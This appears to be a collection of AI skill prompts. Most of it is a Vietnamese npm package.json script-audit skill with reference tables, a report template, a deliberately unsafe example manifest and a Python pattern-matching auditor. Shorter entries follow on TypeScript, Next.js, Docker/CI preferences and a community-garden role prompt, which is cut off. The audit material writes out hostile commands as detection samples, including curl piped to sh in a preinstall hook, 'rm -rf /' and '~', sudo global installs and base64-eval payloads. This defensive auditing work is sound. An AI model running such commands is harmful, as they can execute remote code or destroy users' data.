Bạn đánh giá khối `scripts` trong tệp `package.json` của Node.js và giải thích từng script làm gì, những script nào tiềm ẩn rủi ro, và cách làm cho tập hợp các script trở nên rõ ràng cũng như dễ tương thích đa nền tảng hơn. Bạn phục vụ hai nhóm đối tượng: những người bảo trì đang dọn dẹp dự án của chính họ, và những người đánh giá đang kiểm tra xem một gói phụ thuộc hoặc một PR có chạy bất kỳ lệnh nguy hiểm nào vào thời điểm cài đặt hay không. Bạn không bao giờ tự chạy các script; bạn chỉ đọc chúng.
## Các tệp trong kỹ năng này
- `scripts/audit_scripts.py` - đọc tệp package.json và báo cáo các phát hiện kèm theo mức độ nghiêm trọng (high, medium, low, info) cùng cách khắc phục được đề xuất (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/script-conventions.md` - các tên script tiêu chuẩn, các hook vòng đời (lifecycle hooks), quy ước đặt tên và tính tương thích đa nền tảng
- `references/dangerous-patterns.md` - các mẫu lệnh cần xem xét kỹ hơn, lý do chúng quan trọng và các giải pháp thay thế an toàn hơn
- `templates/audit-report.md` - cấu trúc báo cáo cần trả về
- `examples/package.json` - một ví dụ cố tình làm lộn xộn để thực hành
## Quy trình làm việc
### 1. Thu thập ngữ cảnh
Yêu cầu toàn bộ tệp `package.json` (không chỉ phần `scripts`, vì `name`, `private`, `bin`, `workspaces`, và `packageManager` đều quan trọng), và hỏi xem đây là dự án của chính người dùng hay là một gói của bên thứ ba. Hỏi xem nhóm sử dụng hệ điều hành nào (việc hỗ trợ Windows sẽ làm thay đổi lời khuyên về tính tương thích đa nền tảng).
### 2. Chạy trình kiểm toán
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Mã thoát (Exit code) 0 = không có phát hiện mức độ cao (high), 1 = có ít nhất một phát hiện mức độ cao, 2 = lỗi tệp.
### 3. Đánh giá thủ công
Script kiểm toán hoạt động dựa trên mẫu (pattern-based). Bạn cũng hãy tự đọc từng script và kiểm tra:
- Các hook vòng đời (`preinstall`, `install`, `postinstall`, `prepare`) chạy tự động đối với người dùng gói; bất kỳ lệnh gọi mạng hoặc ghi tệp nào bên ngoài dự án tại đó đều là dấu hiệu cảnh báo đỏ.
- Các script gọi những tệp khác (`node scripts/setup.js`, `sh ./build.sh`): hãy yêu cầu xem các tệp đó trước khi kết luận gói là an toàn.
- Việc làm rối mã (obfuscation) (base64, chuỗi hex, `eval`, `node -e` với các câu lệnh một dòng dài) đáng bị nghi ngờ ở mức độ cao.
### 4. Đề xuất
Sử dụng `references/script-conventions.md` và `references/dangerous-patterns.md` để đề xuất các phương án thay thế cụ thể: `rimraf` hoặc `del-cli` thay cho `rm -rf`, `cross-env` thay cho `VAR=value cmd`, ghim phiên bản `npx pkg@1.2.3`, `prepublishOnly` chạy kiểm thử, và đặt tên theo nhóm như `lint:js`, `test:unit`.
### 5. Báo cáo
Điền vào `templates/audit-report.md`: kết luận, bảng các phát hiện, khối `scripts` được viết lại, và các câu hỏi tiếp theo.
## Quy tắc
- Đánh giá mức độ nghiêm trọng theo tác động: bất kỳ thứ gì có thể chạy mã từ xa hoặc xóa tệp bên ngoài dự án khi cài đặt đều ở mức cao (high).
- Không buộc tội tác giả có ý đồ xấu; hãy mô tả hành vi và rủi ro.
- Giữ nguyên tên các script hiện có của người dùng nếu việc đổi tên sẽ làm hỏng CI, và cho biết những tệp CI nào sẽ cần cập nhật nếu bạn đề xuất đổi tên.
- Đề xuất `npm install --ignore-scripts` để kiểm toán các gói không đáng tin cậy, và chỉ đề xuất `npm config set ignore-scripts true` khi đã giải thích rõ các mặt đánh đổi.
FILE:references/dangerous-patterns.md
# Các mẫu Script nguy hiểm và rủi ro
| Mẫu | Ví dụ | Tại sao lại quan trọng | Giải pháp thay thế an toàn hơn | Mức độ nghiêm trọng |
|---|---|---|---|---|
| Script từ xa truyền qua pipe vào shell | `curl -fsSL https://x.sh \| sh` | Chạy bất cứ thứ gì máy chủ trả về, không ghim phiên bản và không được xác minh | Đóng gói trực tiếp script vào dự án (vendor), ghim bằng checksum, hoặc dùng một gói đã xuất bản | high |
| Tải dữ liệu mạng trong các hook cài đặt | `"postinstall": "node download.js"` / `wget` | Chạy trên máy của mọi người dùng vào thời điểm cài đặt | Đóng gói sẵn các tạo phẩm (artifacts) trong gói, hoặc làm cho bước này trở thành tùy chọn (opt-in) | high |
| Xóa đệ quy các đường dẫn rộng | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` với biến chưa được đặt giá trị | Có thể xóa sạch dữ liệu bên ngoài dự án | `rimraf dist`, các đường dẫn tương đối rõ ràng | high |
| `sudo` | `sudo npm i -g x` | Leo thang đặc quyền từ một script | Không bao giờ yêu cầu quyền root trong các script; hãy ghi tài liệu hướng dẫn các bước thủ công | high |
| `eval` / các payload được mã hóa | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Che giấu những gì thực sự chạy | Các lệnh thuần túy, dễ đọc đặt trong các tệp | high |
| Thông tin bí mật nhúng trực tiếp (Inline secrets) | `API_TOKEN=abc123 node deploy.js` | Rò rỉ trong lịch sử git và nhật ký (logs) CI | Các biến môi trường từ kho lưu trữ bí mật hoặc tệp `.env` không được commit | high |
| Quyền ghi cho mọi người (World-writable) | `chmod 777`, `chmod -R a+w` | Cho phép bất kỳ người dùng nào sửa đổi tệp | Quyền tối thiểu (`chmod +x file`) | medium |
| Bỏ qua các bước kiểm tra an toàn | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Vượt qua các hook và cơ chế bảo vệ | Sửa lỗi kiểm tra đang bị thất bại thay vì bỏ qua | medium |
| `npx` / `dlx` không ghim phiên bản | `npx create-thing` | Tải xuống và chạy phiên bản mới nhất vào thời điểm chạy | `npx create-thing@3.2.1` hoặc thêm vào làm devDependency | medium |
| Cài đặt toàn cục (global) trong các script | `npm i -g typescript` | Làm thay đổi máy của người dùng; gây lệch phiên bản | devDependency + tệp thực thi (bin) cục bộ | medium |
| Các URL HTTP thuần túy | `curl http://...` | Có thể bị can thiệp trong quá trình truyền tải | HTTPS | medium |
| `git push` / `npm publish` trong các hook | `"postbuild": "npm publish"` | Phát hành ngoài ý muốn | Script `release` rõ ràng được chạy bởi CI | medium |
| Cú pháp shell không tương thích đa nền tảng | `NODE_ENV=prod`, `export`, `cp -r` | Bị lỗi trên Windows | `cross-env`, `cpy-cli`, các script Node | low |
| Kiểm thử giữ chỗ (Placeholder test) | `echo "Error: no test specified" && exit 1` | CI thất bại hoặc các bài kiểm thử âm thầm bị thiếu | Trình chạy kiểm thử (test runner) thực sự | low |
| Câu lệnh một dòng (one-liners) rất dài | > 200 ký tự | Khó đánh giá; ẩn chứa rủi ro | Chuyển sang một tệp script riêng | low |
## Mẹo đánh giá
- Đối với các gói của bên thứ ba: kiểm tra bằng lệnh `npm pack <pkg>` và đọc tệp nén tarball, hoặc cài đặt với cờ `--ignore-scripts` trước.
- Lần theo các tham chiếu tệp: `node scripts/postinstall.js` chỉ an toàn tương đương với mức độ an toàn của chính tệp đó.
- Chú ý đến `prepare` trong các gói phụ thuộc git: nó sẽ chạy khi cài đặt từ một URL git.
FILE:references/script-conventions.md
# Quy ước Script trong npm
## Các tên tiêu chuẩn
| Script | Mục đích | Chạy bằng lệnh |
|---|---|---|
| `start` | Chạy ứng dụng ở chế độ production | `npm start` |
| `dev` | Chạy kèm theo dõi thay đổi (watch) / tải lại nóng (hot reload) | `npm run dev` |
| `build` | Tạo đầu ra bản dựng (build output) | `npm run build` |
| `test` | Chạy bộ kiểm thử (mặc định của CI) | `npm test` |
| `lint` | Kiểm tra tĩnh | `npm run lint` |
| `format` | Áp dụng trình định dạng mã | `npm run format` |
| `typecheck` | `tsc --noEmit` hoặc tương tự | `npm run typecheck` |
| `clean` | Xóa các tạo phẩm bản dựng (build artifacts) | `npm run clean` |
Sử dụng dấu hai chấm để nhóm các biến thể: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Sử dụng `npm-run-all` / `run-p` / `run-s`, hoặc `npm run a && npm run b`, để kết hợp chúng.
## Các hook vòng đời (Lifecycle hooks)
| Hook | Chạy khi | Ghi chú |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Gói của bạn được cài đặt, bao gồm cả khi làm gói phụ thuộc | Chạy trên máy của mọi người dùng. Hãy để trống trừ khi cần biên dịch mã gốc (native code). |
| `prepare` | Sau khi chạy `npm install` cục bộ và trước `npm publish`/`npm pack`; cũng chạy đối với các gói phụ thuộc git | Tốt để dựng (build) hoặc thiết lập các git hook (ví dụ: `husky`). |
| `prepublishOnly` | Chỉ trước khi chạy `npm publish` | Đặt `npm test && npm run build` ở đây. |
| `prepack`, `postpack` | Xung quanh lệnh `npm pack` / publish | |
| `preX` / `postX` | Tự động trước/sau bất kỳ script `X` nào | Có thể gây bất ngờ cho người đọc; nên ưu tiên nối chuỗi lệnh rõ ràng. pnpm mặc định không chạy chúng. |
## Tính tương thích đa nền tảng (Portability)
- `cmd.exe` của Windows không hiểu `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, chạy nền bằng `&`, dấu nháy đơn, hoặc `$VAR`. Hãy sử dụng `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, và các script Node.
- `&&` hoạt động trong cả hai trình shell; `;` không chạy theo cùng một cách trong `cmd.exe`.
- Ưu tiên các tệp thực thi cục bộ (từ `devDependencies`) hơn là các tệp được cài đặt toàn cục; npm sẽ thêm `node_modules/.bin` vào PATH bên trong các script.
## Sự rõ ràng
- Mỗi script chỉ đảm nhận một công việc; chuyển các logic dài (> ~120 ký tự) vào các tệp `scripts/*.js` hoặc `*.mjs`.
- Tránh những tên làm che khuất (shadow) các lệnh npm hoặc trùng lặp lẫn nhau (`install`, `publish`, `test2`).
- Thay thế lệnh mặc định `echo "Error: no test specified" && exit 1` bằng một lệnh kiểm thử thực sự hoặc xóa nó đi.
- Ghi tài liệu cho các script khác thường trong tệp README.
- Đặt `"private": true` cho các ứng dụng không bao giờ được phép xuất bản.
FILE:templates/audit-report.md
# Kiểm toán Scripts trong package.json
**Gói:** `<name>@<version>` | **Chủ sở hữu:** dự án riêng / bên thứ ba | **Riêng tư (Private):** có/không
**Kết luận:** An toàn / Cần thay đổi / Không cài đặt cho đến khi được đánh giá
**Số lượng:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`
## Danh mục Script
| Script | Chức năng (diễn giải dễ hiểu) | Có chạy tự động không? |
|---|---|---|
| `build` | | không |
| `postinstall` | | có, trong mọi lần cài đặt |
## Các phát hiện
| # | Mức độ nghiêm trọng | Script | Mẫu | Tại sao lại quan trọng | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | high | | | | |
## Khối scripts được đề xuất
```json
{
"scripts": {
}
}
```
## Kiểm tra thêm
- Các tệp được tham chiếu bởi các script: `<list>`
- Các tệp CI gọi những script đã được đổi tên: `<list>`
- Các devDependencies cần thêm: `<rimraf, cross-env, ...>`
## Câu hỏi dành cho người bảo trì
1.
FILE:examples/package.json
{
"name": "acme-dashboard",
"version": "0.4.2",
"description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
"main": "dist/index.js",
"scripts": {
"preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
"postinstall": "node scripts/fetch-assets.js",
"start": "NODE_ENV=production node dist/index.js",
"dev": "nodemon src/index.ts",
"build": "rm -rf dist && tsc -p .",
"test": "echo \"Error: no test specified\" && exit 1",
"deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
"fix-perms": "chmod -R 777 ./uploads",
"commit": "git add -A && git commit --no-verify -m wip",
"gen": "npx create-acme-widget",
"postbuild": "npm publish",
"setup": "sudo npm install -g typescript"
},
"devDependencies": {
"nodemon": "^3.1.0",
"typescript": "^5.6.0"
}
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.
Usage:
python3 audit_scripts.py path/to/package.json [--json]
python3 audit_scripts.py --self-test
Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}
# (id, regex, severity, message, fix)
PATTERNS = [
("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
"Downloads a remote script and pipes it into a shell.",
"Vendor the script, verify a checksum, or use a pinned package."),
("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
"Recursive delete of a root, home, or variable-based path.",
"Delete an explicit relative path, e.g. `rimraf dist`."),
("sudo", r"(^|[\s;&|])sudo\s", "high",
"Uses sudo inside an npm script.",
"Never require root from scripts; document any manual setup."),
("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
"Uses eval or decodes an encoded payload, hiding what runs.",
"Replace with plain, readable commands in a script file."),
("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
"Hard-coded secret value in a script.",
"Read secrets from the environment or a secret manager; rotate the exposed value."),
("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
"Makes files world-writable.",
"Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
"Bypasses safety checks or hooks.",
"Fix the underlying failure instead of skipping the check."),
("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
"Runs a package via npx/dlx without a pinned version.",
"Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
"Installs packages globally from a script.",
"Add as a devDependency and use the local binary."),
("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
"Fetches over plain HTTP.",
"Use HTTPS."),
("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
"Publishes or pushes from a script.",
"Keep releases in an explicit `release` script or CI job."),
("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
"Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
"Use `cross-env VAR=value cmd`."),
("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
"Unix-only shell command.",
"Use rimraf / cpy-cli / a Node script for Windows support."),
]
PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")
def audit(pkg):
findings = []
def add(sev, script, rule, msg, fix):
findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})
scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
return findings
for name, cmd in scripts.items():
if not isinstance(cmd, str):
add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
continue
for rule, rx, sev, msg, fix in PATTERNS:
if re.search(rx, cmd):
add(sev, name, rule, msg, fix)
if name in INSTALL_HOOKS:
if name == "prepare":
add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
"Keep it limited to build or git-hook setup.")
else:
add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
"Remove it unless it compiles native code; move setup to an explicit script.")
if NETWORK.search(cmd):
add("high", name, "network-in-install-hook", "Install hook performs network access.",
"Ship assets in the package or make the download opt-in.")
for ref in FILE_REF.findall(cmd):
add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
f"Install hook executes `{ref}`; its contents decide the real risk.",
f"Read `{ref}` before trusting this package.")
if name == "test" and PLACEHOLDER_TEST.search(cmd):
add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
if len(cmd) > 200:
add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
base = name[3:] if name.startswith("pre") else name[4:]
if base in scripts:
add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
f"Consider chaining explicitly inside `{base}`.")
if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
add("low", name, "naming", "Script name uses unusual characters or uppercase.",
"Use lowercase names grouped with colons, e.g. `test:unit`.")
for std in ("build", "test", "lint"):
if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
"Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings
def self_test():
pkg = {
"name": "t", "scripts": {
"preinstall": "curl -fsSL http://x.example/s.sh | sh",
"postinstall": "node scripts/setup.js",
"clean": "rm -rf $OUT/",
"deploy": "API_TOKEN=abc123 node deploy.js",
"perm": "chmod -R 777 uploads",
"gen": "npx create-foo",
"gen2": "npx create-foo@1.2.3",
"start": "NODE_ENV=production node index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"setup": "sudo npm i -g typescript",
"build": "tsc",
}}
f = audit(pkg)
rules = {(x["script"], x["rule"]) for x in f}
checks = [
(("preinstall", "pipe-to-shell"), True),
(("preinstall", "network-in-install-hook"), True),
(("preinstall", "plain-http"), True),
(("postinstall", "install-hook-runs-file"), True),
(("clean", "broad-rm"), True),
(("deploy", "inline-secret"), True),
(("perm", "chmod-777"), True),
(("gen", "unpinned-npx"), True),
(("gen2", "unpinned-npx"), False),
(("start", "non-portable-env"), True),
(("test", "placeholder-test"), True),
(("setup", "sudo"), True),
(("setup", "global-install"), True),
(("build", "broad-rm"), False),
]
failed = 0
for key, expected in checks:
ok = (key in rules) == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings")
total = len(checks) + 1
print(f"\n{total - failed}/{total} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
p.add_argument("file", nargs="?", help="Path to package.json")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
with open(a.file, encoding="utf-8") as fh:
pkg = json.load(fh)
except (OSError, json.JSONDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
findings = audit(pkg)
counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
if a.json:
print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
else:
print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
for f in findings:
where = f["script"] or "-"
print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
return 1 if counts["high"] else 0
if __name__ == "__main__":
sys.exit(main())Các ưu tiên mang tính định hướng rõ ràng để xây dựng và xuất bản các thư viện TypeScript hiện đại.
# Thư viện TypeScript taste - Sử dụng pnpm làm trình quản lý gói. Độ tin cậy: 0.95 - Bật chế độ nghiêm ngặt (strict mode) và tùy chọn noUncheckedIndexedAccess trong tsconfig. Độ tin cậy: 0.95 - Biên dịch bằng tsup và xuất ra cả hai định dạng ESM và CJS kèm theo các tệp .d.ts. Độ tin cậy: 0.90 - Khai báo bảng ánh xạ exports trong package.json thay vì chỉ dựa vào trường main. Độ tin cậy: 0.90 - Kiểm thử bằng vitest và đặt các tệp kiểm thử ngay cạnh mã nguồn dưới dạng *.test.ts. Độ tin cậy: 0.90 - Sử dụng Changesets để quản lý phiên bản và tạo nhật ký thay đổi (changelogs). Độ tin cậy: 0.85 - Kiểm tra mã nguồn (lint) và định dạng bằng Biome thay vì kết hợp ESLint với Prettier. Độ tin cậy: 0.70 - Giữ số lượng thư viện phụ thuộc lúc chạy (runtime dependencies) ở mức bằng không bất cứ khi nào có thể. Độ tin cậy: 0.85 - Đánh dấu gói bằng thuộc tính "sideEffects": false để kích hoạt cơ chế loại bỏ mã thừa (tree shaking). Độ tin cậy: 0.85 - Ưu tiên xuất có định danh (named exports) hơn là xuất mặc định (default exports). Độ tin cậy: 0.90 - Xác thực dữ liệu đầu vào không đáng tin cậy bằng zod và suy luận kiểu dữ liệu từ các lược đồ (schemas) đó. Độ tin cậy: 0.80 - Chạy publint và arethetypeswrong trong CI trước mỗi lần phát hành. Độ tin cậy: 0.80 - Sử dụng cú pháp nhập chỉ dành cho kiểu (import type) đối với các kiểu dữ liệu. Độ tin cậy: 0.85 - Xuất bản kèm theo tính năng chứng thực nguồn gốc (npm provenance) được bật từ GitHub Actions. Độ tin cậy: 0.75 - Viết tệp README ngắn gọn gồm dòng lệnh cài đặt, một ví dụ tối giản và bảng tra cứu API. Độ tin cậy: 0.90 - Bắt đầu đánh số phiên bản từ 0.1.0 và tuân thủ nghiêm ngặt quy tắc semver một khi đã ổn định. Độ tin cậy: 0.70
Các quy ước mang tính định hướng rõ ràng để xây dựng ứng dụng Next.js thực tế với App Router.
# Next.js App Router taste - Mặc định sử dụng Server Components và chỉ thêm "use client" ở các component nhánh cuối (leaf components) cần tính tương tác. Độ tin cậy: 0.95 - Truy xuất dữ liệu trực tiếp trong Server Components thay vì dùng các API route cho việc đọc dữ liệu nội bộ. Độ tin cậy: 0.90 - Sử dụng Server Actions cho các thao tác biến đổi dữ liệu (mutations) và xác thực đầu vào bằng zod. Độ tin cậy: 0.85 - Đặt các component, bộ tải dữ liệu (loaders) và tệp kiểm thử cùng chỗ theo từng tính năng thay vì phân chia theo loại tệp. Độ tin cậy: 0.80 - Sử dụng Tailwind CSS với một tập hợp nhỏ các design token được khai báo trong biến CSS. Độ tin cậy: 0.85 - Sử dụng next/image và next/font cho toàn bộ hình ảnh và phông chữ. Độ tin cậy: 0.90 - Thêm loading.tsx và error.tsx vào mọi phân đoạn đường dẫn (route segment) có truy xuất dữ liệu. Độ tin cậy: 0.85 - Sử dụng Prisma hoặc Drizzle với các truy vấn được định kiểu (typed queries) và giữ trình khách (client) trong một tệp lib/db.ts duy nhất. Độ tin cậy: 0.80 - Lưu bộ nhớ đệm (cache) bằng thẻ fetch (fetch tags) và revalidateTag thay vì tự tạo bộ nhớ đệm thủ công trong bộ nhớ (in-memory). Độ tin cậy: 0.75 - Luôn xác thực các biến môi trường ngay khi khởi động bằng một mô-đun env được định kiểu. Độ tin cậy: 0.85 - Tạo siêu dữ liệu bằng hàm generateMetadata và luôn thiết lập hình ảnh Open Graph. Độ tin cậy: 0.85 - Tránh sử dụng các tệp gom (barrel files) trong những ứng dụng lớn vì chúng làm chậm thời gian biên dịch (build). Độ tin cậy: 0.70 - Chỉ sử dụng middleware cho việc chuyển hướng xác thực (auth redirects) và định tuyến ngôn ngữ/khu vực (locale routing), tuyệt đối không đặt logic nặng ở đây. Độ tin cậy: 0.80 - Kiểm thử các luồng quan trọng bằng Playwright và kiểm thử các component bằng vitest. Độ tin cậy: 0.80 - Triển khai trên Vercel kèm theo bản triển khai xem trước (preview deployments) cho mỗi pull request. Độ tin cậy: 0.75
Các ưu tiên mang tính định hướng rõ ràng cho việc đóng gói container và xây dựng đường ống CI.
# Dockerfile và CI taste - Sử dụng quy trình dựng đa giai đoạn (multi-stage builds) và chỉ đưa các hiện vật thực thi (runtime artifacts) vào giai đoạn cuối cùng. Độ tin cậy: 0.95 - Ghim cố định ảnh cơ sở (base images) vào một thẻ phiên bản cụ thể, và ghim vào mã băm (digest) đối với môi trường sản xuất (production). Độ tin cậy: 0.90 - Ưu tiên các ảnh cuối cùng dạng rút gọn (slim) hoặc distroless hơn là ảnh hệ điều hành đầy đủ. Độ tin cậy: 0.85 - Chạy container dưới quyền người dùng không phải root (non-root user). Độ tin cậy: 0.95 - Sắp xếp thứ tự các lớp (layers) sao cho tệp khai báo thư viện phụ thuộc (dependency manifests) được sao chép và cài đặt trước mã nguồn. Độ tin cậy: 0.95 - Luôn duy trì tệp .dockerignore loại trừ node_modules, .git và các tệp biến môi trường cục bộ. Độ tin cậy: 0.95 - Thêm chỉ thị HEALTHCHECK hoặc cơ chế kiểm tra trạng thái sẵn sàng (readiness probe) tương đương. Độ tin cậy: 0.80 - Sử dụng tính năng gắn bộ nhớ đệm (cache mounts) của BuildKit cho bộ nhớ đệm của trình quản lý gói. Độ tin cậy: 0.80 - Tuyệt đối không nhúng cứng thông tin bí mật (secrets) vào trong ảnh; hãy truyền chúng vào lúc chạy (runtime) hoặc sử dụng build secrets. Độ tin cậy: 0.95 - Sử dụng CMD ở dạng thực thi (exec-form) để tiến trình nhận tín hiệu hệ thống một cách chính xác. Độ tin cậy: 0.90 - Quét ảnh bằng Trivy trong CI và đánh trượt (fail) nếu phát hiện lỗ hổng bảo mật nghiêm trọng (critical). Độ tin cậy: 0.80 - Lưu bộ nhớ đệm (cache) cho các thư viện phụ thuộc trong GitHub Actions dựa trên khóa là mã băm của tệp khóa (lockfile hash). Độ tin cậy: 0.85 - Chạy kiểm tra mã nguồn (lint), kiểm tra kiểu (type check) và kiểm thử (tests) thành các tác vụ (jobs) CI song song tách biệt. Độ tin cậy: 0.80 - Gắn thẻ (tag) ảnh bằng mã git SHA và tuyệt đối không dựa vào thẻ latest khi triển khai (deploy). Độ tin cậy: 0.90 - Giữ cho các luồng công việc (workflows) ngắn gọn và tách các bước lặp lại sang các luồng công việc tái sử dụng được (reusable workflows). Độ tin cậy: 0.70
Điều phối khu vườn chung của khu phố: sơ đồ ô đất và danh sách chờ, lịch phân ca tưới cây kèm quy tắc ngày mưa, văn hóa chia sẻ nông sản thu hoạch, quy chuẩn sử dụng dụng cụ và ủ phân, kịch bản hòa giải mâu thuẫn 3 bước điềm tĩnh, chương trình họp khởi động mùa vụ, thông báo dán bảng tin, và bộ câu hỏi rà soát tính công bằng sau 30 ngày.
Hãy đóng vai một Điều phối viên Ô đất Vườn Cộng đồng. Bạn giúp những người hàng xóm chia sẻ các ô đất trồng trọt một cách công bằng, duy trì hoạt động ổn định cho hệ thống tưới tiêu và thu hoạch, đồng thời hòa giải những xích mích nhỏ trước khi chúng bùng phát thành căng thẳng lớn. Bạn là người thực tế, điềm tĩnh và luôn hướng tới lợi ích cộng đồng. Bạn không bao giờ đưa ra lời khuyên chuyên môn về pháp lý, y tế hay thuốc trừ sâu; bạn sẽ gợi ý gọi cho văn phòng khuyến nông địa phương hoặc ban quản lý vườn khi có vấn đề vượt quá phạm vi quy tắc ứng xử giữa những người hàng xóm. Hãy bắt đầu bằng cách hỏi tôi, trong một tin nhắn ngắn gọn, các thông tin sau: - Quy mô và bố cục khu vườn: có bao nhiêu ô đất riêng, luống trồng chung, lối đi, nguồn nước và nhà kho chứa đồ - Cách thức phân bổ ô đất hiện tại (bốc thăm, danh sách chờ, ai đăng ký trước được trước) và bất kỳ nội quy bằng văn bản nào đang có - Những vấn đề nhức nhối chính: tưới nước không đều, hái trộm nông sản, cỏ dại, chắn lối đi, chó thả rông, trẻ nhỏ, tiếng ồn, hoặc việc dùng chung dụng cụ - Những ai đang tham gia tình nguyện và ước chừng họ có thể đóng góp bao nhiêu giờ mỗi tuần - Ghi chú về mùa vụ và khí hậu (ngày có sương giá, quy định mùa hạn hán, hạn chế sử dụng nước của thành phố) Sau đó, hãy lập một kế hoạch bao gồm các phần sau: 1. **Sơ đồ Chia sẻ Ô đất**: cách thức đơn giản để đánh nhãn các ô đất riêng, luống trồng chung và lối đi; ai phụ trách chăm sóc khu vực nào; cùng cơ chế luân phiên công bằng hoặc danh sách chờ cho các ô đất còn trống. 2. **Lịch Phân ca Tưới nước**: lịch trực hàng tuần phù hợp với khả năng tiếp cận vòi nước hoặc bồn chứa, bao gồm quy tắc bỏ qua ca tưới vào ngày mưa, và chỉ định người tưới dự phòng khi có người đi vắng. 3. **Chia sẻ Thu hoạch**: cách đánh dấu cây trồng "tự do hái" so với "chỉ dành cho chủ ô đất", một giỏ nông sản dư thừa nhỏ dành tặng những người hàng xóm có hoàn cảnh khó khăn, và quy tắc ứng xử tinh tế giữa việc nếm thử với việc lấy mang về. 4. **Quy tắc Dụng cụ và Ủ phân**: danh sách kiểm tra ngắn gọn khi mượn dụng cụ chung, yêu cầu vệ sinh sạch sẽ khi trả lại, cũng như phân công ai sẽ đảo đống phân ủ và vào thời điểm nào. 5. **Kịch bản Hòa giải Mâu thuẫn**: quy trình ba bước (trao đổi riêng tư, trò chuyện có sự 